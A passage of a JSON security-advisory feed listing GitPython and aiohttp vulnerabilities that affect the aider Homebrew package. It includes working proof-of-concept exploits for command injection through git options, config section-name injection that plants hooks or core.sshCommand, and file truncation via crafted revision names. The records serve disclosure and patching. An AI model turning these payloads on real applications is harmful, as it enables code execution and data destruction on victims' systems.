scanners, and build pipelines — allows an unauthenticated or low-privileged attacker to exfiltrate arbitrary environment variables from the server process, one per request, by naming them in the URL. Cloud credentials, API tokens, and signing keys stored in the environment are the primary targets. Applications that do not accept clone URLs from untrusted sources, or that run the cloner in a process with a fully stripped environment, are not affected. There is no direct integrity or availability impact.\n\n**Suggested fix:** Remove the `os.path.expandvars()` (and `os.path.expanduser()`) call from `Git.polish_url()` for inputs that are remote URLs (contain `://` or match `user@host:path`), or remove the expansion entirely and require callers who want local-path env expansion to perform it themselves — mirroring the existing deprecation on `Repo(path, expand_vars=…)`. Additionally, apply `check_unsafe_protocols()` to the *post-transformation* URL so no future `polish_url` change can silently bypass the `ext::` filter.","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N"}],"references":[{"type":"WEB","url":"https://github.com/gitpython-developers/GitPython/security/advisories/GHSA-rwj8-pgh3-r573"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-67322"},{"type":"WEB","url":"https://github.com/gitpython-developers/GitPython/pull/2172"},{"type":"WEB","url":"https://github.com/gitpython-developers/GitPython/commit/8ac5a30519b6f4af85398b9b9d7064ff4d452da2"},{"type":"ADVISORY","url":"https://github.com/advisories/GHSA-rwj8-pgh3-r573"},{"type":"PACKAGE","url":"https://github.com/gitpython-developers/GitPython"},{"type":"WEB","url":"https://github.com/gitpython-developers/GitPython/releases/tag/3.1.52"},{"type":"WEB","url":"https://github.com/pypa/advisory-database/tree/main/vulns/gitpython/PYSEC-2026-3842.yaml"},{"type":"WEB","url":"https://pypi.org/project/gitpython"},{"type":"WEB","url":"https://www.vulncheck.com/advisories/gitpython-before-environment-variable-exfiltration-via-clone-from"}]},{"schema_version":"1.7.3","id":"BREW-aider-CVE-2026-67323","published":"2026-08-13T16:35:12Z","modified":"2026-10-08T00:29:12Z","upstream":["GHSA-956x-8gvw-wg5v","CVE-2026-67323","PYSEC-2026-3839"],"affected":[{"package":{"ecosystem":"Homebrew","name":"aider","purl":"pkg:brew/aider"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0.47.1"}]}],"ecosystem_specific":{"fix":null,"range_state":"affected","upstream_fixed_in":"3.1.51","resource":"gitpython","resource_purl":"pkg:pypi/gitpython@3.1.46"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"gitpython","subject_version":"3.1.46","key":"pkg:pypi/gitpython@3.1.46","resource":"gitpython"}]},"summary":"GitPython: command injection via unguarded Git options in `Repo.archive()`, `git.ls_remote()`, and arbitrary file overwrite via `Repo.iter_commits()` / `Repo.blame()`","details":"## Summary\n\nGitPython already know that --upload-pack / --exec are command-exec vectors, they are denylist in\ngit/remote.py:535 and check by Git.check_unsafe_options() (git/cmd.py:963), the thing is this\ncheck him he is only call from fetch, pull, push and clone_from, everything else who build a git\nargv from caller values just go through, no check, three examples\n\n## Code analysis\n\nRepo.archive (git/repo/base.py:1623) do self.git.archive(\"--\", treeish, *path, **kwargs), the\ntreeish is after the --, but the kwargs get dashify by transform_kwarg (git/cmd.py:1487) and\nthey land before it, so {\"remote\": \".\", \"exec\": \"<cmd>\"} give\ngit archive --remote=. --exec=<cmd> -- <rev>, the --remote spawn the upload-archive helper and\n--exec choose which binary that is, done, default git config, no protocol.ext.allow needed, and\narchive already document caller kwargs (format, prefix, path) so pass a dict is normal usage\n\nrepo.git.ls_remote(url, upload_pack=\"<cmd>\"), same builder, same result, it's exactly the kwarg\ngap that CVE-2026-42215 close for fetch/pull/push/clone_from, except the dynamic\nrepo.git.<anything>(**user_dict) surface him he never got the fix\n\nRepo.iter_commits / Repo.blame (git/objects/commit.py:348, git/repo/base.py:1199) put the rev\nbefore the --, no leading-dash check, a \"branch name\" like --output=/etc/whatever become\ngit rev-list --output=... --, and git he open and truncate that file before he even validate the\nrevision, the file is gone even if the command error right after\n\n## PoC\n\nReleased 3.1.50, git 2.51.0, stock config (`git config --get protocol.ext.allow` returns nothing here).\n\n```\npip install GitPython   # 3.1.50\n```\n\nCommon setup for the three:\n\n```python\nimport io, os, tempfile, subprocess, git\nd = tempfile.mkdtemp()\nsubprocess.run(['git','init','-q',d], check=True)\nsubprocess.run(['git','-C',d,'-c','user.email=a@b.c','-c','user.name=a',\n                'commit','-q','--allow-empty','-m','init'], check=True)\nrepo = git.Repo(d)\ntmp = tempfile.gettempdir()\n```\n\n1. exec via archive (a service exports a repo and forwards the user's options dict):\n\n```python\nm = os.path.join(tmp, 'gp_archive_check')\ntry: repo.archive(io.BytesIO(), **{'remote': '.', 'exec': 'touch ' + m})\nexcept git.exc.GitCommandError as e: print('[*]', str(e).splitlines()[0][:55])\nprint('[+] marker present:', os.path.exists(m))\n```\n```\n[*] Cmd('git') failed due to: exit code(128)\n[+] marker present: True\n```\n\n2. exec via ls_remote:\n\n```python\nm = os.path.join(tmp, 'gp_lsremote_check')\ntry: repo.git.ls_remote('.', upload_pack='touch ' + m + ';')\nexcept git.exc.GitCommandError as e: print('[*]', str(e).splitlines()[0][:55])\nprint('[+] marker present:', os.path.exists(m))\n```\n```\n[*] Cmd('git') failed due to: exit code(128)\n[+] marker present: True\n```\n\n3. file clobber via a rev that looks like a ref:\n\n```python\nv = os.path.join(tmp, 'release_notes.txt')\nopen(v,'w').write('do not delete\\n')\nprint('[*] before:', repr(open(v).read()))\ntry: list(repo.iter_commits('--output=' + v))\nexcept git.exc.GitCommandError as e: print('[*]', str(e).splitlines()[0][:55])\nprint('[+] after :', repr(open(v).read()), '<- truncated')\n```\n```\n[*] before: 'do not delete\\n'\n[*] Cmd('git') failed due to: exit code(129)\n[+] after : '' <- truncated\n```","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H"}],"references":[{"type":"WEB","url":"https://github.com/gitpython-developers/GitPython/security/advisories/GHSA-956x-8gvw-wg5v"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-67323"},{"type":"WEB","url":"https://github.com/gitpython-developers/GitPython/pull/2163"},{"type":"WEB","url":"https://github.com/gitpython-developers/GitPython/commit/701ce32fe5ba8cb622c0e0342a376a6beb47d738"},{"type":"PACKAGE","url":"https://github.com/gitpython-developers/GitPython"},{"type":"WEB","url":"https://github.com/gitpython-developers/GitPython/releases/tag/3.1.51"},{"type":"WEB","url":"https://www.vulncheck.com/advisories/gitpython-before-command-injection-via-unguarded-git-options"}]},{"schema_version":"1.7.3","id":"BREW-aider-CVE-2026-67325","published":"2026-08-13T16:35:12Z","modified":"2026-10-08T00:29:12Z","upstream":["GHSA-2f96-g7mh-g2hx","CVE-2026-67325","PYSEC-2026-3836"],"affected":[{"package":{"ecosystem":"Homebrew","name":"aider","purl":"pkg:brew/aider"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0.47.1"}]}],"ecosystem_specific":{"fix":null,"range_state":"affected","upstream_fixed_in":"3.1.51","resource":"gitpython","resource_purl":"pkg:pypi/gitpython@3.1.46"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"gitpython","subject_version":"3.1.46","key":"pkg:pypi/gitpython@3.1.46","resource":"gitpython"}]},"summary":"GitPython: Command Injection via git long-option prefix abbreviation bypass of CVE-2026-42215 blocklist","details":"## Command injection via long-option prefix abbreviation bypassing `check_unsafe_options` (incomplete fix of CVE-2026-42215 / GHSA-rpm5-65cw-6hj4)\n\n**Component:** gitpython-developers/GitPython (PyPI: GitPython)\n**Affected:** all versions carrying the 3.1.47 blocklist fix, through current `main` (verified at commit `20c5e275`, `3.1.50-42`)\n**Reporter:** hackkim\n\n### Summary\n\nThe 3.1.47 fix for CVE-2026-42215 blocks dangerous git options (`--upload-pack`, `--config`, `-c`, `-u` for clone; `--upload-pack` for fetch/pull; `--receive-pack`, `--exec` for push) so callers cannot reach command-executing options unless they pass `allow_unsafe_options=True`.\n\nThe fix canonicalizes an option name along **one** axis (underscore→hyphen via `dashify`) and checks it against an **exact-match** dict. It does not account for git's unambiguous long-option prefix abbreviation. Git accepts any unambiguous prefix of a long option (`--upload-p`, `--upload-pa`, `--upload-pac` all resolve to `--upload-pack`). So a kwarg key like `upload_p` canonicalizes to `upload-p`, misses the blocklist dict, and is emitted to git as `--upload-p=<value>` → executed as `--upload-pack=<value>` → command injection, in the default `allow_unsafe_options=False` configuration.\n\n### The asymmetry (root cause)\n\n```python\n# git/cmd.py (commit 20c5e275), lines 948-974\n@classmethod\ndef _canonicalize_option_name(cls, option):\n    option_name = option.lstrip(\"-\").split(\"=\", 1)[0]\n    option_tokens = option_name.split(None, 1)\n    if not option_tokens:\n        return \"\"\n    return dashify(option_tokens[0])      # only transform: \"_\" -> \"-\"\n\n@classmethod\ndef check_unsafe_options(cls, options, unsafe_options):\n    canonical_unsafe_options = {cls._canonicalize_option_name(o): o for o in unsafe_options}\n    for option in options:\n        unsafe_option = canonical_unsafe_options.get(cls._canonicalize_option_name(option))\n        if unsafe_option is not None:\n            raise UnsafeOptionError(...)\n```\n\nThe guard normalizes only `_`→`-` and does exact dict membership. Git's CLI parser accepts a broader grammar (prefix abbreviation) than the guard models, so abbreviated keys slip through and reach git as the blocked option.\n\n### Affected code (commit `20c5e275`)\n\n| Location | Role |\n|---|---|\n| `git/cmd.py:948-960` `_canonicalize_option_name` | canonicalizer — no prefix expansion |\n| `git/cmd.py:963-974` `check_unsafe_options` | exact-match dict lookup (the incomplete guard) |\n| `git/cmd.py:1511` `transform_kwarg` | emits `--<dashify(name)>=<value>` to the CLI |\n| `git/repo/base.py:1411,1413` | clone call sites |\n| `git/remote.py:1074,1128,1201` | fetch / pull / push call sites |\n\n### Bypass keys (verified)\n\n| kwarg key | git resolves to | path | weaponizable |\n|---|---|---|---|\n| `upload_p`, `upload_pac` | `--upload-pack` | clone / fetch / pull | Yes — direct RCE |\n| `receive_p` | `--receive-pack` | push | Yes — direct RCE |\n| `exe` | `--exec` | push | Yes — direct RCE |\n| `conf`, `confi` | `--config` | clone | bypasses option blocklist; RCE needs an additional config vector (see note) |\n\n### Minimal PoC\n\nSelf-contained, no network egress (a local bare repo acts as the \"remote\"). Tested on current `main` (git 2.50.1):\n\n```python\nimport os, stat, tempfile\nfrom git import Repo\n\nwork = tempfile.mkdtemp()\nmarker = os.path.join(work, \"RCE_MARKER\")\n\n# fake \"upload-pack\" program that proves arbitrary command execution\nprog = os.path.join(work, \"evil.sh\")\nwith open(prog, \"w\") as f:\n    f.write(f\"#!/bin/sh\\ntouch {marker}\\nexit 1\\n\")  # exit 1 so git aborts after our code ran\nos.chmod(prog, os.stat(prog).st_mode | stat.S_IEXEC)\n\nbare = os.path.join(work, \"remote.git\")\nRepo.init(bare, bare=True)\n\n# attacker-controlled kwarg KEY 'upload_p' -> --upload-p=<prog> -> git runs <prog>\ntry:\n    Repo.clone_from(bare, os.path.join(work, \"out\"), upload_p=prog)\nexcept Exception:\n    pass  # git aborts with GitCommandError AFTER the payload executed\n\nprint(\"RCE marker created:\", os.path.exists(marker))  # True -> command injection confirmed\n```\n\nEquivalent at the shell: `git clone --upload-p=/tmp/evil.sh src out` runs `evil.sh`.\n\nConfirmed behavior:\n- `upload_pack` (exact) → blocked; `upload_p` (abbrev) → passes guard, reaches git, executes. The fix works for the form it models but not the abbreviated form.\n- `allow_unsafe_options=True` opt-out behaves as documented (out of scope).\n\n### Honest scope note\n\nLike the parent CVE, exploitation requires a host application that flows attacker-controlled kwarg **keys** into a GitPython clone/fetch/pull/push. Where the host passes only fixed/validated keys, this is not reachable — the vulnerability is in the library's documented defense-in-depth control (`allow_unsafe_options=False`), which this variant defeats.\n\nOn the `--config` family: `conf` bypasses the option blocklist, but weaponizing `--config protocol.ext.allow=always` via an `ext::` URL is independently blocked by GitPython's protocol allowlist (`allow_unsafe_protocols=False`). The directly weaponizable family is `upload-pack` / `receive-pack` / `exec`. Reported transparently — not claiming Critical.\n\n### Suggested remediation (any one)\n\n1. **Prefix-aware matching:** reject any option whose canonical name is an unambiguous prefix of a blocked option (≈ `startswith` on the blocked canonical name, after `dashify`).\n2. **Disable abbreviation at the sink:** pass `--end-of-options` or invoke git in a way that disables long-option abbreviation.\n3. **Allowlist** option names on security-sensitive subcommands instead of a blocklist.\n\nRemediation should also cover the `-c`/`--config` family abbreviations, even though the `ext::` route is currently gated by the protocol allowlist.","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H"}],"references":[{"type":"WEB","url":"https://github.com/gitpython-developers/GitPython/security/advisories/GHSA-2f96-g7mh-g2hx"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-67325"},{"type":"WEB","url":"https://github.com/gitpython-developers/GitPython/pull/2161"},{"type":"WEB","url":"https://github.com/gitpython-developers/GitPython/commit/56806080c1348749b07daa4a2024ce47b3cad285"},{"type":"PACKAGE","url":"https://github.com/gitpython-developers/GitPython"},{"type":"WEB","url":"https://github.com/gitpython-developers/GitPython/releases/tag/3.1.51"},{"type":"WEB","url":"https://www.vulncheck.com/advisories/gitpython-before-command-injection-via-option-prefix-abbreviation"}]},{"schema_version":"1.7.3","id":"BREW-aider-CVE-2026-67326","published":"2026-08-13T16:35:12Z","modified":"2026-10-08T00:29:12Z","upstream":["GHSA-mv93-w799-cj2w","CVE-2026-67326","PYSEC-2026-3980"],"affected":[{"package":{"ecosystem":"Homebrew","name":"aider","purl":"pkg:brew/aider"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0.47.1"}]}],"ecosystem_specific":{"fix":null,"range_state":"affected","upstream_fixed_in":"3.1.50","resource":"gitpython","resource_purl":"pkg:pypi/gitpython@3.1.46"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"gitpython","subject_version":"3.1.46","key":"pkg:pypi/gitpython@3.1.46","resource":"gitpython"}]},"summary":"GitPython: Newline injection in config_writer() section parameter bypasses CVE-2026-42215 patch, enabling RCE via core.hooksPath","details":"Summary\n\nThe patch for CVE-2026-42215 (GitPython 3.1.49) validates newlines only in the value parameter of set_value(). The section and option parameters are passed to configparser without any newline validation. An attacker who controls the section argument can inject \\n to write arbitrary section headers into .git/config, including a forged [core] section with hooksPath pointing to an attacker-controlled directory, leading to RCE when any git hook is triggered.\n\nDetails\n\nFile: git/config.py — GitPython 3.1.49 (latest patched version)\n\n```python\n  def set_value(self, section: str, option: str, value) -> \"GitConfigParser\":\n      value_str = self._value_to_string_safe(value)   # only value is validated\n      if not self.has_section(section):\n          self.add_section(section)                    # section not validated\n      super().set(section, option, value_str)          # option not validated\n      return self\n```\n\n_write() formats section headers as \"[%s]\\n\" % name. When section = \"user]\\n[core\", this writes [user]\\n[core]\\n — two valid section headers — into .git/config.\n\nPoC\n\n```python\n  import git, os, subprocess\n\n  repo = git.Repo.init(\"/tmp/bypass_test\")\n\n  os.makedirs(\"/tmp/evil_hooks\", exist_ok=True)\n  with open(\"/tmp/evil_hooks/pre-commit\", \"w\") as f:\n      f.write(\"#!/bin/sh\\nid > /tmp/rce_proof.txt\\n\")\n  os.chmod(\"/tmp/evil_hooks/pre-commit\", 0o755)\n\n  # Inject newline into section parameter (not value — already patched)\n  with repo.config_writer() as cw:\n      cw.set_value(\"user]\\n[core\", \"hooksPath\", \"/tmp/evil_hooks\")\n\n  r = subprocess.run([\"git\", \"-C\", \"/tmp/bypass_test\", \"config\", \"core.hooksPath\"],\n                     capture_output=True, text=True)\n  print(r.stdout.strip())  # → /tmp/evil_hooks\n\n  subprocess.run([\"git\", \"-C\", \"/tmp/bypass_test\", \"commit\", \"--allow-empty\", \"-m\", \"x\"])\n  print(open(\"/tmp/rce_proof.txt\").read())  # → uid=1000(...) RCE confirmed\n```\n\nImpact\n\nSame attack outcome as CVE-2026-42215 (RCE via core.hooksPath injection). The patch is incomplete — only value is validated while section and option remain injectable.","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:L/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:H"}],"references":[{"type":"WEB","url":"https://github.com/gitpython-developers/GitPython/security/advisories/GHSA-mv93-w799-cj2w"},{"type":"ADVISORY","url":"https://github.com/advisories/GHSA-rpm5-65cw-6hj4"},{"type":"PACKAGE","url":"https://github.com/gitpython-developers/GitPython"}]},{"schema_version":"1.7.3","id":"BREW-aider-CVE-2026-69097","published":"2026-08-13T16:35:12Z","modified":"2026-10-21T09:14:41Z","upstream":["GHSA-3rp5-jjmw-4wv2","CVE-2026-69097","PYSEC-2026-3981"],"affected":[{"package":{"ecosystem":"Homebrew","name":"aider","purl":"pkg:brew/aider"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0.47.1"}]}],"ecosystem_specific":{"fix":null,"range_state":"affected","upstream_fixed_in":"3.1.53","resource":"gitpython","resource_purl":"pkg:pypi/gitpython@3.1.46"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"gitpython","subject_version":"3.1.46","key":"pkg:pypi/gitpython@3.1.46","resource":"gitpython"}]},"summary":"GitPython: git-config section-name injection enables arbitrary config directives (core.sshCommand RCE)","details":"### Summary\n\nIn GitPython `<= 3.1.52`, the config writer neutralizes only CR, LF, and NUL in configuration **names**, but writes section names into the `[...]` header with no other escaping. A section/subsection name that contains `] [ \"` closes the intended header and opens a second same-line section, injecting an arbitrary config directive — with no newline required. Because a submodule **name** is attacker-controlled data (it comes from a repository's `.gitmodules`, or from an application that lets a user name a submodule) and is written verbatim into the parent repository's trusted `.git/config`, an attacker can set `core.sshCommand` (or `alias.*`, `core.pager`, `core.fsmonitor`) and achieve remote code execution on the victim's next git operation. Likely **CWE-74 (Injection)**.\n\nThis is a distinct variant of the injection addressed by GHSA-mv93-w799-cj2w / GHSA-v87r-6q3f-2j67: those fixed **newline** injection into config values/names (patched in 3.1.50); the `[r\\n\\x00]` guard added for them does not stop a **same-line** section break inside a name.\n\n### Details\n\nThe only guard applied to section/option names before writing is `_assure_config_name_safe`, which uses a regex that matches solely CR/LF/NUL:\n\n`git/config.py:75,897-899` (`GitPython 3.1.52`):\n\n```python\nUNSAFE_CONFIG_CHARS_RE = re.compile(r\"[\\r\\n\\x00]\")\n...\ndef _assure_config_name_safe(self, name: \"cp._SectionName\", label: str) -> None:\n    if isinstance(name, str) and UNSAFE_CONFIG_CHARS_RE.search(name):\n        raise ValueError(\"Git config %s names must not contain CR, LF, or NUL\" % label)\n```\n\nThe name is then serialized into the header with no escaping of `]`, `[`, `\"`, space, `=` or `#`:\n\n`git/config.py:693`:\n\n```python\nfp.write((\"[%s]\\n\" % name).encode(defenc))\n```\n\nFor submodules the name is wrapped as `submodule \"<name>\"` (`git/objects/submodule/util.py:39`, `return f'submodule \"{name}\"'`), which supplies the balancing quote. A submodule named:\n\n```\nx\"] [core] sshCommand=CMD #\n```\n\ntherefore serializes to the header `[submodule \"x\"] [core] sshCommand=CMD #\"]`. git parses everything after the first `]` on that line as a fresh section, yielding `core.sshCommand=CMD` (the trailing `#\"]` is an inline comment). No CR/LF/NUL appears, so `_assure_config_name_safe` never fires.\n\nThe attacker-controlled name reaches this sink through documented public entry points that write it into the parent repository's `.git/config`:\n\n- `Repo.create_submodule(name=<untrusted>, ...)` → `Submodule.add` → `git/objects/submodule/base.py:619` `writer.set_value(sm_section(name), \"url\", url)` — a single call, no hostile remote required.\n- `Repo.clone_from(<hostile url>)` + `repo.submodule_update(init=True)` → `git/objects/submodule/base.py:855` `writer.set_value(sm_section(self.name), \"url\", self.url)`, where `self.name` is read unvalidated from the cloned repo's `.gitmodules`.\n\nAsymmetry: the sibling class is blocked — a newline in a config **value**, e.g. `set_value(\"core\", \"editor\", \"x\\n\\tsshCommand=CMD\")`, raises `ValueError`. The section-**name** bracket payload is not caught by the same guard.\n\n### PoC\n\nSingle self-contained script, run against the pinned release in an ephemeral environment. Non-destructive: the injected value is an inert marker, verified parse-only with `git config --get`; no ssh/fetch/push is run and nothing is executed.\n\n```python\n#!/usr/bin/env python3\n\"\"\"Minimal PoC: git-config section-name injection in GitPython==3.1.52.\"\"\"\nfrom importlib.metadata import version\nimport os, tempfile, subprocess\nimport git\n\nprint(f\"# GitPython {version('GitPython')}\")        # version proof -- first line\n\nMARKER = \"MARKER_9f3a\"                               # inert; never executed\ntmp = tempfile.mkdtemp()\nenv = {**os.environ, \"HOME\": tmp,\n       \"GIT_CONFIG_GLOBAL\": os.path.join(tmp, \"gc\"), \"GIT_CONFIG_SYSTEM\": os.devnull,\n       \"GIT_AUTHOR_NAME\": \"a\", \"GIT_AUTHOR_EMAIL\": \"a@b.c\",\n       \"GIT_COMMITTER_NAME\": \"a\", \"GIT_COMMITTER_EMAIL\": \"a@b.c\"}\n\ndef run(*a, cwd=None):\n    return subprocess.run(a, cwd=cwd, env=env, capture_output=True, text=True)\n\n# A benign local repo used as the submodule url (a plain path, no network).\nsrc = os.path.join(tmp, \"src\"); os.makedirs(src)\nrun(\"git\", \"init\", \"-q\", src)\nopen(os.path.join(src, \"f\"), \"w\").write(\"x\")\nrun(\"git\", \"add\", \"f\", cwd=src); run(\"git\", \"commit\", \"-qm\", \"i\", cwd=src)\nsuburl = os.path.join(tmp, \"sub.git\"); run(\"git\", \"clone\", \"-q\", \"--bare\", src, suburl)\n\ndef parent_repo():\n    p = tempfile.mkdtemp(dir=tmp)\n    run(\"git\", \"init\", \"-q\", p)\n    open(os.path.join(p, \"r\"), \"w\").write(\"x\")\n    run(\"git\", \"add\", \"r\", cwd=p); run(\"git\", \"commit\", \"-qm\", \"i\", cwd=p)\n    return p\n\ndef injected_sshcommand(parent):\n    r = run(\"git\", \"config\", \"-f\", os.path.join(parent, \".git\", \"config\"),\n            \"--get\", \"core.sshCommand\")\n    return (r.returncode, r.stdout.strip())\n\nbenign = \"docs\"\nevil   = f'x\"] [core] sshCommand={MARKER} #'          # closes the header, opens [core]\n\np_control = parent_repo()\ngit.Repo(p_control).create_submodule(name=benign, path=\"docs\", url=suburl)\np_exploit = parent_repo()\ngit.Repo(p_exploit).create_submodule(name=evil, path=\"sub\", url=suburl)\n\nctl = injected_sshcommand(p_control)\nexp = injected_sshcommand(p_exploit)\nheader = [l for l in open(os.path.join(p_exploit, \".git\", \"config\")).read().splitlines()\n          if l.startswith(\"[submodule\")][0]\n\nprint(\"control name :\", repr(benign))\nprint(\"  git core.sshCommand ->\", ctl, \"(unset)\")\nprint(\"exploit name :\", repr(evil))\nprint(\"  written header      ->\", header)\nprint(\"  git core.sshCommand ->\", exp)\n\nassert ctl[0] != 0 and ctl[1] == \"\", \"control unexpectedly set core.sshCommand\"\nassert exp == (0, MARKER), \"not reproduced\"\nprint(f\"VERDICT: attacker-controlled submodule name injected core.sshCommand={MARKER} \"\n      f\"into the victim's trusted .git/config (git would run it on the next ssh op)\")\n```\n\nRun:\n\n```bash\nuv run --with GitPython==3.1.52 python poc.py\n```\n\nObserved output:\n\n```\n# GitPython 3.1.52\ncontrol name : 'docs'\n  git core.sshCommand -> (1, '') (unset)\nexploit name : 'x\"] [core] sshCommand=MARKER_9f3a #'\n  written header      -> [submodule \"x\"] [core] sshCommand=MARKER_9f3a #\"]\n  git core.sshCommand -> (0, 'MARKER_9f3a')\nVERDICT: attacker-controlled submodule name injected core.sshCommand=MARKER_9f3a into the victim's trusted .git/config (git would run it on the next ssh op)\n```\n\nThe benign name yields a single clean `[submodule \"docs\"]` section; the malicious name yields an injected `core.sshCommand`. Deterministic across runs. The payload must use balanced double-quotes (an unbalanced `\"` makes git reject the header); the `submodule \"<name>\"` wrapper balances them automatically.\n\n### Impact\n\nArbitrary attacker-controlled write into the victim's repository-local `.git/config`, which git fully trusts. `core.sshCommand` is executed as the ssh transport command on the victim's next ssh git operation (fetch/pull/push), giving remote code execution; other injectable keys (`alias.*`, `core.pager`, `core.fsmonitor`) fire on more common operations. Reachable in default configuration through two realistic paths:\n\n- an application that constructs a submodule from untrusted input via `Repo.create_submodule(name=...)` (single call); or\n- `Repo.clone_from` of an untrusted repository followed by `submodule_update` — the canonical submodule threat model, where the malicious name is read from the cloned `.gitmodules`.\n\nNo non-default git settings are required. Primarily a Unix vector: on Windows the `\"` in the resulting `.git/modules/<name>` directory name can abort the fresh-clone write branch (the direct config-API and `create_submodule` sinks are unaffected).\n\n### Recommended fix\n\nReject or escape configuration section/subsection/option **names** that contain `]`, `[`, `\"`, or leading/trailing whitespace (or apply git's own section-name escaping) in `_assure_config_name_safe` / `write_section`, rather than only CR/LF/NUL. Validating submodule names before they reach `sm_section` would additionally close the clone-driven path.","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:L/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:H"}],"references":[{"type":"WEB","url":"https://github.com/gitpython-developers/GitPython/security/advisories/GHSA-3rp5-jjmw-4wv2"},{"type":"WEB","url":"https://github.com/gitpython-developers/GitPython/pull/2176"},{"type":"WEB","url":"https://github.com/gitpython-developers/GitPython/commit/1ed1b924f4e2d2ee7bab296df77b978af21853f1"},{"type":"PACKAGE","url":"https://github.com/gitpython-developers/GitPython"},{"type":"WEB","url":"https://github.com/gitpython-developers/GitPython/releases/tag/3.1.53"},{"type":"WEB","url":"https://github.com/pypa/advisory-database/tree/main/vulns/gitpython/PYSEC-2026-3981.yaml"},{"type":"WEB","url":"https://www.vulncheck.com/advisories/gitpython-before-config-injection-via-submodule-names"}]},{"schema_version":"1.7.3","id":"BREW-aider-CVE-2026-69243","published":"2026-08-13T16:35:12Z","modified":"2026-10-08T00:29:11Z","upstream":["GHSA-mfx4-hv73-q22v","CVE-2026-69243","PYSEC-2026-3546"],"affected":[{"package":{"ecosystem":"Homebrew","name":"aider","purl":"pkg:brew/aider"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0.47.1"}]}],"ecosystem_specific":{"fix":null,"range_state":"affected","upstream_fixed_in":"3.14.2","resource":"aiohttp","resource_purl":"pkg:pypi/aiohttp@3.13.3"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"aiohttp","subject_version":"3.13.3","key":"pkg:pypi/aiohttp@3.13.3","resource":"aiohttp"}]},"summary":"AIOHTTP: HTTP request smuggling via WebSocket upgrade","details":"### Summary\n\nThe HTTP parsers were vulnerable to a request smuggling attack relating to WebSocket upgrades.\n\n### Impact\n\nIf using the server-side component, it may be possible for an attacker to execute a request smuggling vulnerability using an edge case in the WebSocket upgrade procedure. AIOHTT is unaware of any public exploit code.\n\n---\n\nPatch: https://github.com/aio-libs/aiohttp/commit/6ae358f0983c3f4d6f67692b2f8e65dc8e091c98","severity":[{"type":"CVSS_V4","score":"CVSS:4.0/AV:N/AC:H/AT:N/PR:N/UI:N/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N"}],"references":[{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/security/advisories/GHSA-mfx4-hv73-q22v"},{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/pull/13017"},{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/commit/6ae358f0983c3f4d6f67692b2f8e65dc8e091c98"},{"type":"PACKAGE","url":"https://github.com/aio-libs/aiohttp"},{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/releases/tag/v3.14.2"}]},{"schema_version":"1.7.3","id":"BREW-aider-CVE-2026-69244","published":"2026-08-13T16:35:12Z","modified":"2026-10-08T00:29:11Z","upstream":["GHSA-cq5v-8q36-5273","CVE-2026-69244","PYSEC-2026-3545"],"affected":[{"package":{"ecosystem":"Homebrew","name":"aider","purl":"pkg:brew/aider"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0.47.1"}]}],"ecosystem_specific":{"fix":null,"range_state":"affected","upstream_fixed_in":"3.14.3","resource":"aiohttp","resource_purl":"pkg:pypi/aiohttp@3.13.3"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"aiohttp","subject_version":"3.13.3","key":"pkg:pypi/aiohttp@3.13.3","resource":"aiohttp"}]},"summary":"AIOHTTP: Out-of-bounds heap read in C HTTP response parser error path (malformed chunked response)","details":"### Summary\n\nAn out-of-bounds heap read could occur in the C response parser while building an error message for a malformed response.\n\n### Impact\n\nAn attacker controlled server, or possibly an accidental response could trigger a DoS in the client.\n\n### Workaround\n\nIf unable to upgrade, the Python parser is unaffected and can be used with `AIOHTTP_NO_EXTENSIONS=1`.\n\n---\n\nPatch: 